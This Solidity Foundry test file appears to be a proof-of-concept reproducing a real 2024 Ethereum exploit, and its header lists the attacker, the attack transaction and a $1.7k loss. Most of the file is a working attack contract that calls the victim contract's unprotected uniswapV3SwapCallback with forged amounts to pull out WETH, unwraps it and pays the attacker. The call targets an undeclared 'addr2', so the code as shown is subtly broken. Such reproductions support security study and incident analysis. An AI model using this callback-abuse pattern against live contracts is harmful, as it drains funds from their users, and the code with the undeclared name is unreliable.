src/test/2024-09/unverified_03f9_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : $1.7k
7// Attacker : https://etherscan.io/address/0xf073a21f0d68adacfff34d5b8df04550c944e348
8// Attack Contract : https://etherscan.io/address/0xd683b81c2608980db90a6fd730153e04629ff1a3
9// Vulnerable Contract : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0
10// Attack Tx : https://etherscan.io/tx/0x1a3e9eb5e00f39e84f90ca23bd851aa194b1e7a90003e3f6b9b17bbb66dabbb9
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x03f911aedc25c770e701b8f563e8102cfacd62c0
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1834488796953673862
17// Twitter Guy : https://x.com/TenArmorAlert/status/1834488796953673862
18// Hacking God : N/A
19 
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant vul_contract = 0x03F911AeDc25c770e701B8F563E8102CfACd62c0;
22address constant attacker = 0xf073a21f0D68aDaCfff34D5b8DF04550c944e348;
23 
24contract ContractTest is Test {
25    function setUp() public {
26        vm.createSelectFork("mainnet", 20737848);
27    }
28    
29    function testPoC() public {
30        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
31        vm.startPrank(attacker, attacker);
32        AttackerC attC = new AttackerC();
33        // deal(address(attC), 0.7370354703656878 ether); // give only ether
34        deal(weth9, address(attC), 737035470365687849); // give WETH
35        attC.attack();
36        vm.stopPrank();
37        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
38    }
39}
40 
41// 0xD683B81c2608980DB90a6fD730153e04629ff1A3
42contract AttackerC {
43    receive() external payable {}
44 
45    function attack() public {
46        bytes memory data = abi.encode(
47            address(weth9),
48            address(this),
49            uint256(10000)
50        );
51        (bool ok, ) = addr2.call(
52            abi.encodeWithSelector(
53                bytes4(keccak256("uniswapV3SwapCallback(int256,int256,bytes)")),
54                int256(737035470365687848),
55                int256(-18035979692517947),
56                data
57            )
58        );
59        require(ok, "callback failed");
60 
61        uint256 bal = IWETH9(weth9).balanceOf(address(this));
62        IWETH9(weth9).withdraw(bal - 1);
63        // here, we didn't transfer ether to the block.coinbase
64        payable(msg.sender).transfer(address(this).balance);
65    }
66  
67    fallback() external payable {}
68}
69 
70interface IWETH9 {
71	function withdraw(uint256) external;
72	function balanceOf(address) external view returns (uint256); 
73}